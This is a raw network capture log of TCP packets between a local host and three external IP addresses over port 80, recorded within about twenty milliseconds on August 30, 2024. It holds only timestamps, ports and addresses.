Aug 30, 2024 03:17:07.800280094 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.800304890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.800313950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.800328970 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.800343037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.800352097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.800355911 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.800369978 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.800374031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.800385952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800390005 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.800395966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800410986 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.800438881 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.800440073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.800477982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.800478935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800508976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800518036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800553083 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.800611973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800632954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800651073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.800678015 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.800735950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800745964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800770998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.800781012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.800837040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.800878048 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.801711082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801721096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801731110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801755905 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.801760912 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801773071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.801781893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.801783085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.801800013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.801811934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.801816940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.801816940 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.801836014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801847935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801850080 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.801855087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.801857948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801882982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.801902056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.801953077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.801963091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.801971912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.801984072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.801992893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802000999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802001953 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.802015066 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802042961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802855968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802870989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802881002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802902937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802908897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802913904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802916050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802926064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802937984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.802939892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802947998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802968025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.802977085 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803004980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803024054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803036928 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803045988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803047895 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803056002 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803059101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803071976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803080082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803082943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803107977 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803121090 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803267956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803280115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803311110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803811073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803855896 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803865910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803875923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803915977 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.803946972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803957939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803966999 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803977966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.803989887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.804002047 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.804023981 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805079937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805090904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805099964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805126905 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805149078 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805211067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805248976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805258036 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805260897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805285931 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805289030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805291891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805305958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805326939 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805347919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805368900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805378914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805387020 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805404902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805414915 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805421114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805424929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805430889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805439949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805449963 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805470943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805500984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805537939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805545092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805547953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805576086 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805605888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805635929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805646896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805655003 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.805680037 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.805690050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811068058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811077118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811115026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811290979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811301947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811310053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811335087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811358929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811446905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811460018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811469078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811491966 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811515093 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811528921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811537981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811547041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811562061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811572075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811578035 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811584949 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811600924 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811671972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811681986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811691046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.811718941 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.811729908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.812473059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.812488079 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.812496901 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.812515974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.812519073 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.812530041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.812556982 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.812571049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.812582016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.812613964 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.812681913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.812693119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.812702894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.812714100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.812726021 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.812741041 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.812755108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.813220024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813249111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813258886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813262939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813277960 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813294888 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813302040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813313007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813323021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813333988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813337088 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813360929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813375950 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813483000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813493967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813503027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813513041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813523054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813530922 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813533068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813544035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813554049 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813555002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813565969 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813566923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813577890 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813591003 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813604116 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813605070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813616037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813625097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813636065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813642979 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813661098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813680887 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813694954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813705921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813738108 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813791037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813802004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813812017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813823938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813832998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813833952 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813847065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813854933 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813858032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813868046 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813889980 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813922882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813934088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813966990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813970089 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.813977957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.813992023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814002037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814006090 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814026117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814050913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814193964 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814203978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814217091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814229965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814240932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814266920 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814323902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814336061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814347029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814357996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814367056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814368010 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814378023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814380884 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814388037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814398050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814404964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814409018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814419985 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814429998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814435959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814435959 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814450979 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814476013 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814661026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814671040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814680099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814690113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814699888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814709902 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814711094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814718008 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814723015 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814733028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814742088 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814743996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814753056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814764023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814764023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814774990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814786911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814786911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814800024 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814804077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814815998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814826965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.814829111 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814842939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.814867973 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.816462994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816473961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816488028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816509008 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.816521883 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.816534042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816545010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816555023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816565990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816579103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.816601992 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.816615105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816627026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816636086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816647053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816660881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.816674948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816682100 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.816684961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816695929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.816728115 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.818689108 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818700075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818717003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818727016 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818736076 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.818744898 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.818769932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.818777084 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818811893 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.818861008 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818871975 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818881035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.818907976 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.818936110 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819295883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819307089 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819315910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819340944 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819358110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819360018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819369078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819380045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819390059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819402933 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819423914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819427013 CEST	49734	80	192.168.2.4	147.45.44.104
